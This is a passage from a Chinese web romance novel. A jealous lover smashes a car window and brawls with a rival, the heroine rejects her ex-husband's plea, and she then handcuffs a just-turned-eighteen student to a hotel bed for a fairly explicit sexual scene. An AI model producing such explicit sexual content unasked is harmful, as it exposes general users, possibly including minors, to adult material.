但过了不知道多久,车外突然传来些许动静。 先是后座的车窗传来一声闷响,似乎有人在猛地敲打。 姜以柔瞬间惊醒,下意识地转头看去。 这一看之下,正好看到了令人震惊的一幕。 车窗外,正站着一个西装革履的高大身影,姜以柔还没来得及看清楚,对方已经一拳狠狠挥了过来。 他的拳头猛地砸在车窗上,竟然硬生生将车窗砸碎了。 姜以柔吓得惊叫一声,下意识地往方隐年的怀里缩。 方隐年危险地眯了眯眼睛,面上非但没什么意外或惊惶之色,反而意味深长地勾了勾唇角。 一切都像是电影的慢镜头一般。 豪车的车窗被无情地破开,一只指节染血的拳头伸了进来,粗暴地一把扯开车门。 那只手臂肌肉偾起,车辆在他手里竟然像是玩具般脆弱,一举一动里都透着勃发的怒意。 然后,谢凛阴沉的脸出现在了他们的视线中。 姜以柔瞬间浑身僵硬。 第116章 姜以柔浑身僵硬, 头脑发蒙地看着车外,不明白事情怎么突然间急转直下到了这般田地。 她怔怔地看着车外,与扶着车顶俯身的谢凛正好对视。 谢凛还穿着早上出门时的那件黑衬衫, 领带却已不翼而飞,领口的扣子松了几颗,露出大片结实的胸肌。 他胸膛剧烈起伏着, 黑衬衫紧绷着贴在身上, 仿佛随时会迸裂,有种让人心惊的力量感与野性。 他扶着车顶俯身逼近, 像一只狩猎中的豹子,矫捷又凌厉。 谢凛眸色赤红,满脸焦急之色, 但是, 在他看见车内的景象时,他眼里的所有情绪瞬间凝固了,连同整个人都被冻结。 姜以柔正缩在方隐年的怀里,甚至还跟他保持着最亲密的状态。 而谢凛将这一幕完完全全地收入了眼中。 姜以柔有些不知所措地缩了缩, 一时间也不知道该说什么。 她心里竟有种尘埃落定般的诡异平静感, 大概……她早就预料到会有这么一天了吧。 姜以柔抿了抿唇,默默地跟谢凛对视。 然后,她清晰地看到了谢凛的表情从不敢置信的怔然, 化为一片死寂的空白。 谢凛踉跄了一瞬,扶着车框的手不断用力, 本就受伤的指节疯狂渗出鲜血。 可他似乎毫无所觉, 只死死盯着车内的两个人,狭长的黑眸几乎瞪裂,眸中泛起疯狂而又悲伤的猩红色。 不久前, 谢凛给姜以柔打了好几个电话,她都没有接。 谢凛在找她的过程中,心情是难以想象的焦灼,生怕她遇到什么危险。 在他砸碎车窗之前,谢凛满心满眼念着的都是她的安危,直到…… 亲眼看见这一切。 姜以柔缩在那个男人的怀里,那样的亲密而自然,这让他猛地意识到——他们应该不是第一次这般缠绵了。 而那个男人,就这样紧紧揽着她,漫不经心地朝他看来,嘴角勾起一个意味深长的弧度。 像是在炫耀自己的胜利。 谢凛眼前阵阵发黑,一瞬间像是被抽干了所有力气。 此时此刻,比起愤怒和恨意,他心里更多的竟然是一种茫然。 这一瞬间,他曾在脑海里构想的无数与姜以柔的未来,蓦地崩塌了。 他突然意识到,姜以柔其实并没有那么需要自己。 谢凛怔怔地看着她,一瞬间像是身处望不见尽头的雪地,浑身泛着彻骨的寒意,心里却是一片白茫茫的空寂,不知归处。 这股空旷辽远的孤寂过后,后知后觉地泛起浓重得几乎将他压垮的悲伤。 谢凛身体颤抖,死死咬着牙关,他几乎尝到了唇齿间的血腥气,每一次呼吸都牵扯着深入骨髓的痛意。 他一语不发,血红的眸子眨也不眨地盯着他们,像只处于爆发边缘的凶戾野兽。 车内,方隐年凤眸微挑,好整以暇地欣赏着谢凛的痛苦和狼狈。 长久以来压在心头的那口恶意,终于找到了一个暂时的宣泄口。 这怎么不算一种风水轮流转呢? 方隐年漫不经心地想道。 他轻轻拍了拍怀中的姜以柔,算是安抚,随即转头看向谢凛,十分平静地说道:“谢先生,我的车窗可是很贵的,请你赔偿。” 谢凛僵硬地转动眼球,目光从深埋着脑袋的姜以柔身上,猛地钉在了方隐年的身上。 看着他嘴角噙着的那一丝讽笑,谢凛瞬间血涌上头,熊熊怒火肆意燎原,崩断了他仅剩的理智。 谢凛猛地出手,抬手抓向方隐年的衣领。 然后他便发现,在他伸出手的一瞬间,姜以柔竟然本能地往后躲了一下,娇美的脸上浮现出苍白的惧色。 谢凛很难描述这一刻的心碎。 难不成她以为……他会打她吗? 谢凛惨然一笑—— 他哪里舍得伤害她分毫? 不管她做了什么。 谢凛硬生生逼自己移开视线,不敢再看姜以柔,因为每一次的视线相撞,都会牵起一阵难以言说的心痛。 谢凛转而死死盯着方隐年,那只沾血的拳头一把扯住他的领口,粗暴地将人往车外拖。 方隐年倒是不慌,不紧不慢地抬手扣住谢凛的手腕,缓缓施力,淡声道:“别拽,当心伤到她。” 闻言,谢凛动作一滞,望向方隐年的眸光越发凛冽,盈着近乎嗜血的凶光。 他没有再暴力拖拽,大概也是顾忌到姜以柔,他紧跟着便哑声开口,嗓音冰冷而无情:“滚下来!” 方隐年好整以暇地挑了挑眉梢,淡定应道:“好啊。” 说着,他两手握住姜以柔纤细的腰肢,轻轻往上一提—— 【请点→】 姜以柔气得呼吸不稳,愤怒地瞪向方隐年—— 这混蛋,绝对是故意的! 方隐年慢条斯理地抽出,仿佛是刻意在谢凛面前炫耀着什么。 他曾经数次在谢凛那里吃瘪,只能眼睁睁看着他和姜以柔亲密,如今总算是扳回一成。 果然,谢凛瞳孔骤缩,额角暴起的青筋如同蜿蜒的恶龙,昭示着他已经濒临爆发的边缘。 那双染血的拳头在微微颤抖着,仿佛下一秒就要扼住方隐年的喉咙。 方隐年抱起姜以柔,将她轻轻安放在身侧。 看着姜以柔脸上隐忍的愤怒,以及瞪向他时不善的目光,方隐年丝毫不在意,甚至轻轻勾了勾唇角。 他勾起手指轻轻蹭了蹭她的侧脸,动作温柔而留恋。然后他才施施然下了车。 方隐年下车的同时,还反手关上了车门,大概是想要将姜以柔尽量隔绝在争斗之外。 可惜,隔着一道车窗破损的车门,姜以柔可以清晰地听到外面传来的拳拳到肉的打斗声。 沉重的击打声和粗重的喘息交相响起,哪怕姜以柔看不到那副场景,也完全猜得到有多激烈。 姜以柔眉头紧皱,不由得咬紧了下唇,殷红的唇瓣几乎被她咬出血来。 她的脸上写满了烦躁,还有种恼羞成怒的不爽,她无意识地抓紧了身下的真皮座椅,不知道在想些什么。 外面混乱的声响搅得她心烦意乱。 她之所以费心瞒着谢凛,就是不想看到这种场面—— 她不管跟谁在一起,说到底都是为了开心,可不是为了看几个男人互相打得头破血流的。 这样有什么意义呢? 姜以柔幽幽地叹了口气,艰难地整理了下衣服,确保自己表面上还算得体后,便挪动着打开了车门。 果然,一凑到车门边,姜以柔便看到了一副堪称惨烈的场景。 谢凛和方隐年纠缠着翻滚在地上,每个人都是恨不得将对方打死的做派,一拳一拳地落下,鲜血飞溅,让人心惊。 简直有种要闹出人命的势头。 姜以柔不由得心里一紧,连忙出声阻止道:“喂,你们别打了。” 姜以柔撑着车门想要下车,结果她高估了自己的体力,她腰酸腿软,正是浑身无力的时候,双脚刚一触到地面,就直接软倒了。 “啊——”姜以柔一声惊呼,狼狈地跌坐在了地面上,她掌心蹭着地,疼痛感让她皱紧了眉心。 姜以柔的惊呼声像是有魔力一般,瞬间让那两个打生打死的男人,不约而同地住了手。 谢凛将方隐年整个人按在地上,他的拳头高高扬起,正想像之前那般重重落在他的脸上,可这一次却僵在了半空。 谢凛不受控制地朝姜以柔看去。 他双眸赤红,还充盈着战斗时疯狂又激烈的嗜血之色,却本能地担忧起姜以柔的安危。 怕她受伤,怕她难过。 当看到姜以柔倒在地上时,谢凛心脏一揪,几乎是立刻就想要冲上前。 可随即他脑海里便浮现出刚才的那一幕。 她跟方隐年…… 谢凛咬紧了牙关,几乎尝到了唇齿间的血腥气,眸中充斥着深沉的痛意。 就在这个档口,方隐年猛地推开他。 这时的谢凛望着姜以柔有些出神,手劲儿松动了点,便被方隐年成功挣脱了束缚。 方隐年撑着地面站起身体,脚步有些不稳,他粗喘着擦了擦唇角的鲜血,转头便朝姜以柔跑去。 方隐年迅速回到她身边,俯身将她抱起来,又塞回了车上,哑声说道:“下来做什么?乖乖呆着。” 安置好姜以柔后,方隐年转头便想走,似乎要继续刚才没打完的架。 其实他比谢凛狼狈多了,伤得也更重,然而方隐年凤眸冷傲,没有丝毫惧意。 事关姜以柔,他不可能退让半分。 不过,在他即将转身离开前,衣摆却被猛地揪住了。 姜以柔紧紧抓着他的衣摆,急切地说道:“不准再打了!” 闻言,方隐年挑了挑眉梢,轻轻摸上她的脸颊,笑着问道:“心疼我?” 姜以柔倍感无语,一把拍开他的手掌,皱眉道:“别废话。” 他们到底要闹到什么时候?姜以柔真的烦了。 姜以柔的目光越过方隐年,直直地朝谢凛看去,她本意是想劝一劝谢凛,然而,在触及他眼神的一瞬间,她不由得怔住了。 谢凛就站在不远处,静静地看着她。 他发丝凌乱,脸上带着伤口,一双通红的眸子死死盯着她—— 姜以柔从未在他眼中看到如此浓烈的悲伤。 他明明打赢了方隐年,可此时此刻却像只一败涂地的败犬,只能独自在一旁舔舐伤口。 姜以柔不期然撞进他盈满了痛意的眼眸中,一时间竟忘了自己该说些什么。 她静静地与谢凛对视,本以为应该平静的心湖却像是被投入了一颗小石子,荡起难以忽视的涟漪。 姜以柔张了张嘴,刚想要说些什么,谢凛却没给她机会。 谢凛像是再也无法承受一般,猛地背过身去,他的脚步有些踉跄,近乎狼狈地逃离了这里。 谢凛眸色猩红,不自觉按住胸口,素来挺拔的身躯微微躬起,像是痛极了。 他不能再呆在这里了。 再呆下去……他会彻底失控。 谢凛就这样一步一步,拖着伤痕累累的身体和一颗碎裂的真心,踉跄着走远了。 姜以柔默默地看着他的背影,终究没有开口叫住他。 这时,姜以柔的视线偶然间落在了不远处的地面上,顿时怔住了。 那里躺着一个歪斜的饭盒,它被摔坏了,里面的饭菜洒落了一地。 那个饭盒,姜以柔很熟悉,正是她家里的那个;而那一地被糟蹋的饭菜,她同样很熟悉…… 都是她平日里最爱吃的,也是谢凛做得最好的几道菜。 愣怔过后,姜以柔的神情变得有些复杂,她的心里说不出是什么滋味。 她突然想起,就在不久前,她刚刚在电话里跟谢凛抱怨,说不喜欢学校里的饭菜,就什么都没吃。 所以……谢凛这是特意赶来给她送饭的吗? 姜以柔手指微蜷,神色似有动容。 下一秒,她的下颌突然被轻轻捏住,然后强硬地转过她的脸,她的视线不得不离开了那一地的饭菜。 方隐年捏着她精巧的下颌,蓦地俯身逼近,两人鼻尖相抵,灼热的呼吸都交缠在了一起。 方隐年紧紧盯着她的脸,将她微妙的神情变化尽数收入眼中。 他扯了扯唇角,那弧度有些冷淡,开口时的嗓音里也带着股嘲意:“怎么,心疼他了?” 方隐年的手指不由得收紧,却在看到她微微蹙起的眉头时骤然松了力道。他轻轻摩挲着她细腻温润的侧脸,那微颤的手指里带着股压抑的疯狂。 方隐年凤眸阴鸷,紧咬着牙关,一字一句恨声道:“你怎么只知道心疼他,不知道心疼我呢?” 方隐年抓起她的一只手,覆在了自己的侧脸上。 姜以柔立刻就感受到了掌心黏腻的触感。 她瞬间回神,定睛一看之下,这才发现方隐年此时格外狼狈。 他唇角淤青带血,半张脸都蹭上了灰尘,最严重的是他额角的伤,正汩汩地往下流血,一路淌过他棱角分明的侧脸,又一滴一滴落在地上。 姜以柔定定地凝视他许久,突然用力把手抽了出来。 她神情冷淡,面上不见丝毫对方隐年伤势的心疼或担忧,微微眯起的眼睛里满是审视。 姜以柔紧紧盯着他,一字一句地质问道:“谢凛怎么找来的?是不是你搞的鬼?” 方隐年固然疯,但绝不会拿两人的声誉开玩笑。 当他哄着自己在车里胡来时,早就低声跟她承诺过,他已经清理过附近的无关人员,连监控都让人关了,绝不会有人来打扰他们。 但现在……闲杂人等倒是没有,可一下子就被谢凛精准地找到了。 若说是巧合……姜以柔不信。 姜以柔红唇微抿,盯着他的眸子里满是冷意。 闻言,方隐年神情微敛,静静地回视她。 两人的目光相撞,再没了方才的缠绵温情,只剩下防备与探究——当然,这是姜以柔单方面的防备。 看着她冰冷无情的神色,方隐年心中一痛,那股不甘的恶念又在叫嚣。 他深吸一口气,尽量平静地回应道:“这重要吗?” 方隐年轻轻握住她的肩头,试图把她揽进怀中,温和微哑的声音里带着丝蛊惑的意味: “以柔,别管谢凛了,你还有我……” 方隐年没有正面回答,但这无异于承认了。 “啪”的一声,方隐年怔住了。 姜以柔不顾他脸上还有伤,又狠狠地赏了他一巴掌。 姜以柔胸膛微微起伏,似乎是气急了,她眸色阴沉地盯着方隐年,良久,突然轻笑出声。 姜以柔唇角的弧度有些玩味,那笑意却不达眼底,有种别样的冷意。 她的嗓音还带着情欲后的沙哑,说出口的话很轻,也很冷: “方隐年,你该不会以为,解决掉谢凛之后,我就只能找你一个男人了吧?” 此时此刻,姜以柔的心里满是愤怒。 她知道方隐年不安分,一直不甘于做那个暗处的人,但她实在没想到,方隐年会疯到如此境地,破釜沉舟,不留一丝余地。 方隐年用舌尖顶了顶腮侧,感受着那火辣辣的痛意,心里倒是很平静。 他已经习惯了姜以柔的无情。 无所谓,只要还能抱她、亲她,她的巴掌也算是奖励。 方隐年握住她的手,主动将其放在了自己的侧脸上,淡声问道:“出气了吗?” “没出气的话,就多打几下。”方隐年甚至轻轻笑了笑。 姜以柔也是对他的厚脸皮无语了,瞪着他一时间说不出话来。 她面色沉冷,只觉得心头的一口郁气堵得她很难受。 其实,比起可能会失去谢凛的难过,姜以柔心里更多的,是一种被挑衅的愤怒。 从来都只有她玩男人的份儿,可方隐年竟然敢给她下套…… 姜以柔深吸一口气,突然眯着眼睛笑了起来,娇美的脸上显出动人的媚意,艳得近乎灼人。 方隐年怔怔地看着她,缓缓滚动了下喉结。 姜以柔抬手摸上方隐年的侧脸,轻轻地拍了两下,这个动作充满了轻慢,像是挑衅又像是羞辱。 姜以柔注视着那双凌厉上挑的凤眸,一字一句轻声道: “方隐年,你给我等着。” * 这天,姜以柔跟方隐年不欢而散。 她没有继续参加下午的校园活动,跟便宜闺女打了声招呼,便匆匆赶回了家。 谢凛并不在家,姜以柔试着给他打了个电话,却并没有接通。 姜以柔怔怔看着手机,有一瞬间的恍惚——谢凛从来都是秒接她的电话,这还是第一次找不到人呢。 接下来的几天里,谢凛再也没有出现,一副要与姜以柔彻底割席的模样。 但他的衣物都还留在家里,又不像是下定了决心。 没人知道谢凛心里的煎熬与挣扎。 姜以柔没有主动去找他,只安静地呆在家里。当一天又一天过去,而谢凛始终不见踪影的时候,她不由得幽幽地叹了口气。 唉,她早就知道,谢凛是个骄傲又自尊心极强的人,是最难搞定的一个。 当初她不打算跟谢凛确定关系,他就很生气,躲了她很长一段时间,若不是后来她中了药,也不知道他能倔多久。 这样的谢凛,大概是无法容忍跟其他男人“分享”她的。 对此,姜以柔也没什么办法,她倒不至于伤心欲绝,只是…… 多少有些可惜吧。 毕竟她还是蛮喜欢谢凛的。 每次想到避而不见的谢凛,姜以柔对于方隐年的愤怒就会加深一层—— 若不是那个狗东西不安分,她现在还能享“齐人之福”呢!都怪他! 姜以柔气狠了,这段时间压根不见方隐年,一副冷淡至极的模样。 方隐年知道她正在气头上,便没有强求。 在方隐年看来,反正谢凛已经主动出局了,那么他和姜以柔……来日方长,不急于一时。 他有的是耐心等姜以柔妥协。 这段时间,姜以柔基本上就呆在家里。 原本,自从她的手机号暴露后,她就常年关机,因为还没来得及换号码。 但这些日子里姜以柔坚持开机,除了那些骚扰电话有些烦之外……她也是怕错过谢凛的电话。 这天,她接到了一个有些意外的电话。 “以柔……”手机里的声音嘶哑而憔悴,像是被逼到绝路之人最后的低语。 姜以柔蹙眉问道:“你是谁?” 对面沉默了许久,才哑声说道:“是我,维刚。” 他没有用现在的名字“林松齐”,而是用了代表两人甜蜜过往的旧名字。 姜以柔诧异地挑了挑眉,问道:“你找我做什么?” “以柔……”林松齐突然有些激动,嗓音拔高了些许,“我现在已经什么都没有了,我只有你……” “停停停——”姜以柔不耐烦地打断了他的话,“什么叫‘你只有我了’?” “我跟你可没关系。”姜以柔不屑地说道。 她隐约听说过林松齐最近发生的事。 林松齐刚从乐家脱离出来,正满怀雄心壮志准备大展拳脚之时,却遭到了多方围剿。 这些围剿里当然主要是方隐年和谢凛的手笔。而林松齐的“姜以柔前夫”身份也为他拉了不少的仇恨值,很多人都非常乐意落井下石,狠狠教训一下这个可恶的渣男。 于是,林松齐刚得意了没几天,就宣告破产了。 谁让他同时得罪了原著里男主所在的方家以及大反派谢凛呢? 所以,林松齐此时说他一无所有,是真的。 林松齐再开口时声音里满是痛苦,“以柔,我想见你,求你见我一面,没有你,我真的不知道该怎么撑下去了……” 林松齐汲汲营营十几年,给乐家当牛做马了一辈子,就是为了出人头地,为了以后再也不用看任何人的眼色。 可现在他竟然一朝被打回了原型,这让他近乎崩溃。 他当初为了权势而抛弃姜以柔,如今却人财两空……林松齐没有立刻疯掉,都算是他有理智。 他低三下四地出言恳求着,近乎疯魔地呢喃道:“以柔,求你,我们重新开始吧……” 如果他这十几年的努力奋斗都成为了泡影,那么至少……让一切回到原点。 如果能跟姜以柔做回十几年前的平凡夫妻,他愿意放弃一切。 他不再追求什么权利富贵了,他只想守着姜以柔和姜渔,用余生弥补对她们的亏欠。 然而,对于他的恳求,姜以柔翻了个白眼,只回了一句话: “神经病。” 然后,姜以柔便果断挂了电话。 林松齐听着手机里传来的忙音,一时间浑身僵硬,他无力地瘫坐在地上,连手机都握不住。 他面上浮现出浓浓的绝望,半晌,他突然仰天凄厉地大笑起来。 笑声中蕴着歇斯底里的疯狂。 * 姜以柔刚挂断来自林松齐的电话,紧跟着又接到一个,来自方镜麒方大少爷。 “有话快说。”姜以柔没好气地说道。 她现在正是对方隐年的气头上,连带着也很不待见方镜麒。 方镜麒倒是不在乎她的态度,只迫不及待地问道:“你跟方隐年和谢凛都闹掰了?” 姜以柔闻言挑了挑眉梢,淡声问道:“你从哪儿听说的?” 方镜麒轻哼一声,“我自然有我的渠道。” 姜以柔被他话里的嘚瑟逗笑了,这大少爷还真是一如既往的嚣张又自信。 姜以柔忍不住挤兑道:“方隐年不是要把你送出国吗?你就别操心国内的事情了。” 方隐年似乎已经对这个侄子忍到了极限,最近在运作将人送去国外读书的事情。 一提起这件事,方镜麒立刻炸毛了:“我才不出国!” “呵,我已经从原来的家里搬出来了,方隐年别想逼我出国。”方镜麒咬牙切齿地说道。 姜以柔漫不经心地欣赏着自己的新美甲,悠悠地说道:“那就祝你成功吧。” 手机那头沉默了一会儿,方镜麒再次开口了,他的嗓音有些哑,莫名带着股压抑的兴奋,说道: “姜以柔,我打电话来是想问……”方镜麒顿了顿,哑声道,“既然他们俩都出局了,你考虑一下我吧。” 姜以柔“啧”了一声,“小屁孩别瞎掺和大人的事。” 说完,她便想要挂断电话,方镜麒却急声说道:“喂,我成年了!今天……就是我的生日。” 方镜麒深吸一口气,有些紧张地问道:“姜以柔,今天我过生日,所以……我能见你一面吗?” 姜以柔这才想起,上次方镜麒来她家里的时候,确实提过自己要过十八岁生日了。 姜以柔刚想回一句“你生日跟我有什么关系?”,下一秒手机却震动了一下。 姜以柔点开新收到的短信,来自方隐年。 他说自己下班后来找她,问她晚饭想吃什么。 一看到这条若无其事般的短信,姜以柔就一阵火大。 这混蛋怎么好意思在做了那种事情后,还厚脸皮地像是无事发生? 姜以柔原本还可以的心情,瞬间被方隐年这条信息搅散了,她笑意微敛,那双潋滟的美眸中泛着冷光。 与此同时,手机里传来方镜麒的追问声:“喂?姜以柔?” 姜以柔骤然回神,她眸光微闪,似乎想到了什么,随即追问道:“你成年了?” 方镜麒立刻应道:“嗯,我已经是个男人了。” 姜以柔放松身体,没骨头似的靠在沙发上,她微微眯起一双眸子,似乎在沉思着什么。 她手指轻点着沙发扶手,几秒钟之后,她蓦地坐直了身体。 姜以柔笑眯眯地说道:“镜麒,生日快乐。” 这还是她第一次如此温柔地唤方镜麒的名字,往常都是很疏离客气地叫他“方同学”。 方镜麒愣了一瞬,声音立刻变得激动起来:“姜以柔,你……” 不等方镜麒说完,姜以柔便径直打断了他的话,“我给你一个地址,你现在就过来。” 说完,姜以柔便挂了电话。 她订了间酒店,准备好一些物品后,便施施然赶了过去。 当她到的时候,方镜麒已经在了。 方大少一见到她,眼睛就刷的亮了起来,他上前一步,紧紧盯着她,问道:“姜以柔,你……喊我来酒店做什么?” 方镜麒的声音里带着几分迟疑,有些紧张地看着她。 姜以柔笑了笑,径直刷开酒店的房门,示意大少爷跟自己进去。 然后,她下颌微扬,轻轻点了点中央柔软的大床,柔声道:“去床上躺下。” 方镜麒猛的扭头,不敢置信地看着她,整个人都僵住了。 第117章 某五星级酒店的总统套房, 卧室里是一张看着就很柔软舒适的大床。 床边,姜以柔双臂环胸,好整以暇地笑着, 那双妩媚潋滟的眸子上下打量着方镜麒,像是在审视一件货物。 面前的少年身高腿长,已经初步脱离了男孩的青涩, 他的肌肉薄薄一层, 不似谢凛那般强健得极富攻击性,但线条流畅而有美感, 已经透着浓烈男性的荷尔蒙。 姜以柔眼神落在他身上,冷静地扫视过每一寸身体,眯着眼睛笑了一下。 这位大少爷的身体……很漂亮。 此时此刻, 方镜麒正紧紧盯着她, 那双浓墨重彩的凤眸里是掩不住的侵略性,带着点跃跃欲试的兴奋。 方镜麒每次见到姜以柔,都很主动,甚至可以说是有种危险的进攻性, 而这间代表私密的酒店更是点燃了他心里的欲望。 “姜以柔, 你喊我来酒店……做什么?”他哑声问道。 方镜麒迈开长腿,一步一步朝她逼近,他眸色晦暗, 喉结剧烈地滚动着。 姜以柔清晰地看到了他眼里灼热的欲望,心底不由得一声嗤笑。 不愧是叔侄俩, 一样的得寸进尺。 方镜麒缓缓走到她面前, 两人之间距离极近,已经突破了安全距离。 他宽阔的胸膛正对着姜以柔的脸,灼热的呼吸喷洒, 那股强烈的荷尔蒙将她紧紧包裹住。 姜以柔很镇定,她伸出一根手指,轻轻点上他的胸口,用力一推—— 方镜麒眉头微皱,面上有几分不情愿,但他想了想,还是听话地后退一步。 他不想姜以柔生气。 所以……他会乖的。 姜以柔挑了挑眉,似乎很满意于方镜麒的识相。 这位大少爷终于有所成长了,如果还跟之前那般是个不管不顾的魔王,她就真的没耐心了。 姜以柔下颌为扬,点了点旁边的大床,淡声吩咐道:“躺上去吧。” 方镜麒闻言愣住了,向来嚣张的大少爷难得显出一副呆滞的模样,半晌,他才没听清一般反问道:“什么?” 姜以柔抱着手臂,淡笑着看他。她没有重复刚才的话,平静得仿佛刚才只是方镜麒的错觉。 在她高高在上的目光中,方镜麒骤然回神。 他咽了咽口水,为姜以柔话中可能包含的意味而心脏狂跳。 是……是他想的那个意思吗? 方镜麒怀疑自己在做梦。 不对,哪怕是做梦,他都不敢梦这么大的。 虽然是他主动联系姜以柔“自荐枕席”,但他真的没想到……姜以柔会如此轻易地答应。 甚至……直接进行到最后一步?! 方镜麒的呼吸瞬间粗重起来。 眼看着姜以柔面上显出几分不耐烦,方镜麒立刻回神,迫不及待地躺在了床上。 他呼吸急促,死死盯着姜以柔,眼神里是明晃晃的炙热,周围的温度似乎都高了几分。 方镜麒安放在身侧的手不自觉握紧了拳,他在努力克制自己的冲动—— 克制自己,不要把姜以柔按在床上,为所欲为。 方镜麒深吸一口气,缓缓闭上了眼睛。 他在心里反复告诫自己一定要冷静,如果吓到姜以柔的话……恐怕他这辈子都没机会了。 正当方镜麒紧紧闭着眼睛平复心情时,他突然感到手腕一凉,被什么又冷又硬的东西束缚住了,然后他的手臂被强行扯了起来。 方镜麒瞬间睁眼,狭长的凤眸自带凌厉之意,他本能握拳收紧,止住了那股掌控他的力道。 不过,当他看清发生了什么的时候,立刻就呆住了。 姜以柔不知从哪里弄来的手铐,竟然将他的手铐了起来,而且,她还作势将手铐的另一端铐在床头上,将他的手彻底固定住。 方镜麒蹙起眉头,他的手臂上肌肉微绷,稍一用力,便止住了她的动作。 “你这是做什么?”方镜麒疑惑地问道。 姜以柔站在床边,居高临下地睨了他一眼,言简意赅地说道:“放松,不配合的话,你就回去吧。” 听到姜以柔这么说,方镜麒立刻就放弃了抵抗,乖乖地任她把自己拷起来。 难得姜以柔对她有好脸色,哪怕她想要自己的命,方镜麒也认了。 当然,方镜麒觉得她不会伤害自己的。 接下来,姜以柔慢条斯理地将方镜麒的两只手都铐在了床头,这还不够,她甚至将他的脚腕也固定在了床尾。 此时,方镜麒整个人呈“大”字型躺在床上,手脚都被勒得紧紧的,完全动弹不得。 姜以柔又检查了一下方镜麒的手脚,确保他被捆得结结实实,一点儿都动不了之后,便抱臂站在床边,居高临下地打量着自己的“杰作”,满意地勾了勾唇角。 “姜以柔……你到底要做什么?”方镜麒凤眸微眯,探究地盯着她。 他虽然是一副砧板上的鱼的状态,但那双凤眸凌厉依旧,哪怕被人捆着,也还是那个嚣张恣意的大少爷。 姜以柔微微俯身,一点点贴近了他的脸庞。醉人的幽香随即包裹住了方镜麒,她温热的呼吸落在他的皮肤上,更是激起方镜麒的一阵战栗。 方镜麒深深地陷入那双妩媚潋滟的眸子中,眼神里带着自己都未曾察觉的灼热,他缓缓滚动了下喉结,几乎下意识地想要拥住她,直到听见手腕处一声金属碰撞的声音,才想起自己被绑住了,现在什么都做不了。 方镜麒开始觉得煎熬。 姜以柔微勾着唇角凝视他,脸上的表情有些玩味。她缓缓抬手,轻轻地抚上方镜麒的薄唇。 大少爷的嘴唇很漂亮,唇线完美,还有个精致唇珠,可惜的是……这么好看的嘴巴,平日里说的话却不怎么动听。 姜以柔轻柔地摩挲着他的唇瓣,感受着那温热柔软的触感,意味深长地眯了眯眸子,像是在挑选心仪的玩具。 方镜麒眸光沉沉地盯着她,猝不及防地张开嘴,一口咬住了她的指尖。 姜以柔被吓了一跳,下意识地想抽回手,但一时间竟抽不出来。 方镜麒还算有分寸,没有将她咬得很痛,只是动作里带着股急切,既像是挽留,又像是渴求。 姜以柔挑了挑眉梢,轻声呵斥道:“松嘴。” 那命令的语气里带着丝威胁之意。 方镜麒眼睛眨也不眨地盯着她,那直勾勾的眼神像只锁定了猎物的狼崽子,幽深又强势。 他非但没有松开姜以柔的手指,反而…… 勾起柔软的舌尖,轻轻舔着那根修长白皙的手指。 温热的舌尖缠绕在她的指尖,黏腻而放肆,诉说着无声的侵略性。 姜以柔微微一怔,随即不由得笑了,好整以暇地逗弄了两下他的舌尖。 方镜麒双眸微眯,似乎觉察出了她轻慢的态度,嘴上微微用力。 姜以柔立刻轻嘶一声,横了他一眼,嗔道:“你是狗吗?” 方镜麒没说话,依旧用那种幽深炙热的眼神盯着她,但在听到她呼痛时,还是默默地松了嘴。 姜以柔顺势把手指抽出来,笑眯眯地轻拍了下方镜麒的侧脸,柔声低语道:“大少爷,一会儿……记得卖力。” 方镜麒似是听出了姜以柔话中的深意,眸色骤亮,他急切地挣了挣手臂,将手铐扯得哗哗作响,说道:“你把我绑起来了,我还怎么卖力?” 姜以柔直起身体,轻飘飘地向下睨着他,笑道:“别说话了,你的嘴巴还有别的用处呢。” 姜以柔脱了鞋子上床,在方镜麒激动的眼神中,她跪坐在方镜麒的胸口。 姜以柔哪怕再轻,也稍微有一点重量,而她正好坐在大少爷胸口偏上、几乎靠近他下颌的地方,让方镜麒一时间有些喘不过气。 当然,方镜麒此时根本无心关注身体上的不适,他两眼发直地盯着姜以柔,浑身僵硬,像是根本不敢相信这一切。 此时此刻,从方镜麒的角度,他能勉强看见姜以柔柔软的腰腹,再往上是胸口处荡起的诱人弧线,最后是那张低垂着的美丽脸庞。 这是切切实实的仰视。 从这个角度,姜以柔微垂含笑的眼眸更带着股高高在上的意味,仿佛神女的垂怜,可望而不可即。 但偏偏……她就这么坐在方镜麒的身上,让他能切实感受到她的体温。 方镜麒能清晰地感受到那柔软的重量,美好的曲线,紧紧贴着他的胸口,让他……无比躁动。 尤其是,方镜麒甚至能闻到她身上的那股幽香,是一种跟姜以柔平日里的体香不太一样的气息,格外撩人。 方镜麒吞了下口水,眼睛有点发直。 姜以柔坐在他胸口上俯视,笑眯眯地问道:“会吗?” 方镜麒愣了一瞬,随即镇定自若地答道:“当然。” 其实他不太懂姜以柔说的是什么,但管他呢,说会就完事了。 姜以柔将他的嘴硬看在眼里,却只是不置可否地挑了挑眉,轻笑道:“那就好。” 【请点→】 然后,在方镜麒骤然瞪大的眼睛注视下,姜以柔慢条理斯地撩起裙摆,将……随手扔到了地上。 方镜麒的脸色瞬间涨得通红,几乎要滴出血来,他呼吸粗重,连带着胸膛也一下一下剧烈地起伏,姜以柔都感受到了轻微颠簸,像是在坐船似的。 可惜的是,方镜麒只惊鸿一瞥……一切很快就被姜以柔的裙摆掩住了。 方镜麒顿时急躁地动了动,将手铐扯得哗哗作响,他身体里像是有把火在烧灼,却无处释放,整个人都快要爆炸了。 姜以柔“啧”了一声,反手拍了拍他的胸口,警告道:“老实点。” 然后,姜以柔往前挪动了一下。 方镜麒只觉得眼前一黑—— 方镜麒微微一怔,当他意识到这是什么的时候,只觉得浑身血液都涌到了头顶,让他头晕目眩。 姜以柔微微眯着眼睛,像蛇一样扭了扭腰,懒洋洋地提醒道:“回神,到你卖力的时候了。” 事实证明,方镜麒可不像他自称的那般“会”,他很青涩,刚开始跟木头似的,远没有谢凛和方隐年好用。 姜以柔也不着急,耐心指点了几句,“舌头伸出来……” 方镜麒倒是挺有悟性,哪怕手脚都动弹不得,也不妨碍他卖力。 …… 姜以柔一声闷哼,身体一软,不由得用手扶住了床头。 …… 方镜麒只觉得自己像是陷入了一场潮湿又甜蜜的梦境。 只要一想到他此刻在做什么,他就会激动到浑身战栗,连口鼻被堵住的那些许窒息感,也给他带来别样的刺激。 …… 方镜麒的裤子被弄脏了。 这一刻,两个人同频战栗,仿佛成了世界上最亲密的一对。 姜以柔浑身酥软,再也支撑不住,软倒在了方镜麒的旁边。 直到这个时候,方镜麒才能肆意地呼吸,他大口大口喘着粗气,面上还残留着些许茫然。 他伸出舌尖,轻轻舔了舔唇角……,那熟悉的诱人气息终于让他回神。 下一秒,一声巨响传来。 